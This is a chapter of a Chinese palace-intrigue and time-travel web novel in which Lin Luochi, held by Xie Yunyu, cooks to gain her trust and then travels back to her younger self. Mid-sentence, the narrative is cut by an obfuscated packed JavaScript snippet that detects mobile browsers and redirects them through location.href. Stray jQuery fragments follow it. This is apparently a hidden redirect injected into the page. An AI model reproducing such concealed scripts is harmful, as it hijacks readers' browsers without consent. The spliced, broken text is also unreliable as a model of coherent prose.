27. 不愿面对?

作品:《啊?换我被阴湿觊觎了?

    皇陵出口,几辆马车极速使出,在各个方向留下车轮压痕。


    顾榄之赶回时,发觉自己根本无从追踪,当即想要召集精锐。


    顾云辞疾步上前,匆忙握住他的手腕,眸底暗含警告,“祭祀一事关乎国运,承安王,朕保证,有谢韫玉在,林落迟不会少一根头发。”


    顾榄之怔了怔,不敢置信地转头望向顾云辞,“是皇兄你做的?”


    顾云辞的死死盯着顾榄之的双眸,“惠妃遇刺那日,你总说林落迟不知情,你不承认,朕却明白,你只是不愿面对现实,五年过去了,你依旧冥顽不灵!朕不过是让谢韫玉去将真相告诉了她,她若不愿离开,谢韫玉如何能轻而易将她带走?”


    “谢韫玉身手如何,臣弟有所耳闻。”他亦回望,不依不饶。


    直到顾云辞唤来亲卫询问一番。


    亲卫道,“在谢家女郎打晕落姑娘之前,二人的确相谈甚欢。”


    顾榄之有片刻的失神。


    方才离开时,他明明告诫过她,可她听了谢韫玉的话,知晓了其中千丝万缕的关系……


    她选择了与谢韫玉合作。


    为什么合作?因为她害怕沈述没坐稳皇位,草草迎战会力不从心!


    时至今日,她依旧心系沈述!


    可明明昨夜,她眼尾湿红一片,梅花酿沾湿了她的双唇,她仰头,从嗓间唤出的名字是“顾榄之”啊……


    顾榄之发了狠,眼眶湿润,“皇兄,臣弟所求不多,只要她而已,我只要她!”


    顾云辞的指尖转而压上他的手背,“朕不会伤她,只要你再忍耐一些,北陵,朕势必要收复,但眼下,还不是时候。”


    恩威并施,顾云辞的告诫已经很清晰了。


    顾榄之颓丧拂去顾云辞的拉扯,慢慢退后,拱手一揖。


    日头躲进云层。


    二人之间的情意,终究随着悄然的疏离,而裂开一道微不可查的罅隙。


    ……


    日暮时,林落迟终于睁开一线。


    入眼是谢韫玉忙碌到鸡飞蛋打的身影。


    “喂。”她清了清嗓音,面上漾起不悦,“我说,这会儿祭祀大典应该已经结束了,你还不放了我?”


    谢韫玉转身,鼻尖处一抹锅底灰给她清冷的面容点缀上一抹俏皮。


    她淡漠回应,“再等几日,等承安王大军出了建邺,我自会带你奔赴凉州,这几日,你就随我在此处住。”


    四周是一处寒舍,放眼望去,几乎前不着村后不着店。


    既来之,则安之。


    林落迟揉着后颈起身,嫌恶地靠近谢韫玉,伸头瞅了瞅,“在做什么?白米粥吗?”


    谢韫玉愤愤转身,“这是米饭。”


    米饭?


    林落迟上前,执起汤匙舀了舀,杏眼微瞪,阴阳怪气道,“你是说,这个米汤分离,半生不熟,甚至还有糊底的猪食叫米饭?”


    谢韫玉被驳了面子,当即一摔锅铲,“你爱吃不吃!不是就去啃冷馒头,反正我在练武场训练时已经习惯了。”


    说罢,她气鼓鼓地坐回矮榻,从包袱里掏出两个馒头。


    林落迟撇了撇嘴,利索地将那一锅残次品倒掉。


    她取了米,掺了水,生火蒸煮,又瞥见院中有红薯和青菜,于是打算给谢韫玉露一手。


    见她跑出小屋,谢韫玉以为她要逃跑,当即丢下馒头抓起长剑就要追来。


    看见林落迟蹲在吉祥缸边清洗着青菜,谢韫玉动作一顿,微微张了张口,“你会……做饭?”


    林落迟也不抬头,只是翘起唇畔,“放心,我手无缚鸡之力,这里又叫天天不应叫地地不灵的,我能往哪里逃?”


    “你识趣便好。”谢韫玉轻吁一口气。


    良久,林落迟终于将热腾腾的米饭与红薯端上案几,最后青菜收尾时,谢韫玉瞠目结舌。


    “尝尝看?”林落迟抱起胳膊。


    谢韫玉却不敢动筷,“我怕你下毒。”


    “切,你和顾榄之一样,以小人之心度君子之腹,你不吃我吃。”她端起碗筷大快朵颐。


    谢韫玉早已饿得前胸贴后背,见林落迟吃得香,她下意识吞了一口涎液。


    “吃吧,不吃饱,怎么有力气看住我?你要是饿晕了,我就半夜趁你昏倒时逃跑,让你无法给陛下交代,哼!”林落迟腮帮子塞得鼓鼓的,语气尽是挑衅。


    “四周都是野狼,没有我在你身边,就凭你的身手,分分钟被饿狼拆吃入腹,我奉劝你老实些,别自寻死路。”


    说罢,谢韫玉也不再扭捏,大方端起碗筷。


    二人之间的氛围有所好转,林落迟顺驴下坡般示弱道,“不瞒玉姐姐,其实我生来就有怪病,会随时随地陷入昏睡,这个顾榄之也知道,我昏睡时是叫不醒的,最多能昏睡七天,若我这几日嗜睡症发作,还望玉姐姐护我周全。”


    又是做饭又是讨好,林落迟自然有她自己的思量。


    她要让谢韫玉卸下防备,以便她能多打探些惠妃遇刺的细节。


    刚好她手中也有顾榄之的指甲,指甲属顾榄之身体的一部分,能让穿越的时间持续七天,足够她调查清楚原主再度入宫的缘由,以便她对伤害顾榄之之举精准修正。


    谢韫玉的品性她信得过。


    一个愿意驰骋沙场证明自己的女性,自然不是出尔反尔的鼠辈,有谢韫玉相护,这七日的穿越她也能安心不少。


    果不其然,谢韫玉心软了,她好奇道,“嗜睡症?倒是听陛下提及过,那日在承安王府,你好似发过病,承安王把宫中所有的御用医者都请进府了,你这个病,是娘胎里带出来的吗?”


    “嗯,”林落迟点点头,“我阿娘在林府不受宠,怀我时常被主母欺负、敲打、乃至威胁,若我是男儿身,怕是刚出生就被溺死了。”


    谢韫玉闻之一叹,“看你做饭如此熟练,怕是在林府没少受欺凌,也难怪你会将希望寄托在沈述身上,能被北陵未来的储君看上,你的姨娘也可以母凭女贵,庶出的女儿,大都如此,我陈郡谢氏的后宅里也不乏此等风气。”


    “玉姐姐,你错了,我并不喜欢沈述,可我无法忤逆父亲的命令,我只能尽可能周旋在其中,这也是我为什么只敢晚上去找顾榄之的原因,我真的不是在利用他。”


    谢韫玉狐疑蹙眉,“林落迟,这些话,你骗得了承安王,骗不了我谢韫玉,你若不是在利用承安王,那晚何故装病,让他去偷惠妃玉葫芦里的药丸救你?”


    说到此处,谢韫玉倾身上前,下意识压低了语调:


    “那晚惠妃遇刺,你其实是知道的,是吗?偷药只是个幌子,你的目的是想让承安王背负刺杀惠妃的罪名,好叫先皇治他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15393644|165556||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的罪,是与不是?可我有一点不明白,吴道子为什么会将目标对准承安王,承安王当时并不受重视……”


    “不是你想的那样啦……”


    酒足饭饱,林落迟悄悄探入衣袖,将顾榄之的指甲握紧,决心启动穿越。


    因为谢韫玉的问题她本就无从作答。


    她只能暂时利用物品穿越,先对崩盘后的剧情做一番调整,之后再随机应变,看看如何圆谎更为合适。


    谢韫玉嗤笑,“嘴硬无用,除非你能给出令人信服的解释,反正闲来无事,你想说,我便听着,是非曲折,我自有判断。”


    她饶有兴致地投来注视,似乎想听一听林落迟打算如何狡辩。


    “我跟你说啊……”林落迟朝她挪了挪身体,在心中默念穿越指令。


    【启动时空穿梭。】


    下一瞬,她在谢韫玉的注视下,以迅雷不及掩耳之势直直坠入她的怀抱。


    ???


    肩上的重量一压而至,谢韫玉一怔,急忙握住怀中人肩膀,“喂?装睡是不是?以为这样就能躲过我的追问?再不起来,别怪我手下不留情!”


    她伸手去挠她的痒痒,奈何她使出浑身解数,怀中人依旧呼呼大睡。


    “喂,林落迟,你醒醒,你到底要睡多久?喂?你睡了后面的饭谁来做?”


    ……


    晚霞星子入窗,趴在桌案边小憩的姑娘蓦然睁开双目!


    三年光景在林落迟这个穿越者眼中,不过弹指间,可原主的确长大了,如今已是豆蔻年华。


    刚与这具身体的意识融合好,林落迟下意识轻抚胸口,“还好跑得快,否则真不知道怎么跟她解释,这个谢韫玉,还真是霸道……”


    自言自语间,身后传来一个温婉的轻唤,“落落,醒了吗?入宫一事考虑得如何了?”


    她转身,入眼是一个容貌昳丽的妇人。


    妇人步履轻缓,身姿摇曳如蒲柳,一瞧便知脾气秉性十分随和。


    她在林落迟身边坐下,慈爱的抚了抚她的鬓角,“阿娘知道你喜欢太子殿下,可你也看见了,你父亲对凰衣的培养有多用心良苦,沈述的正妻必然是凰衣,你想与他相守,依照你庶女的身份,连侧妃都是不够格的。”


    林落迟静静听着,心中暗暗有了思忖,眼前人,是原主的生母,芸姨娘。


    见她不语,芸姨娘继续道,“你若不想将来继续被凰衣压在头上,阿娘就算豁出性命去求你父亲,也要阻止你蹚这趟浑水,你若真忘不掉太子殿下,阿娘尊重你的决定,只不过……”


    她轻叹,眸中很快有了润意,“你若想一辈子依仗太子殿下的宠爱,为娘势必要提前泼你一盆冷水,男人的爱,瞬息万变,他日他厌了倦了,你再悔,可就晚了……”


    说到此处,她从眼角滚落一滴清泪。


    林落迟将她的自怨自艾尽收眼底。


    明面上她是在劝慰女儿,可这又何尝不是她自己处境与遭遇的真实写照呢?


    她这是触景生情了,她在挽救女儿,亦是在挽救年少时的自己。


    林落迟轻柔地替她拭去眼泪,小心翼翼地套着信息,“阿娘,先别管我到底喜欢谁,我有个疑惑想向您请教一二,您说,我与太子殿下鸿雁传书三年之久,为何这次突然要我入宫了?这个消息是谁传达给父亲的?又有什么目呢?”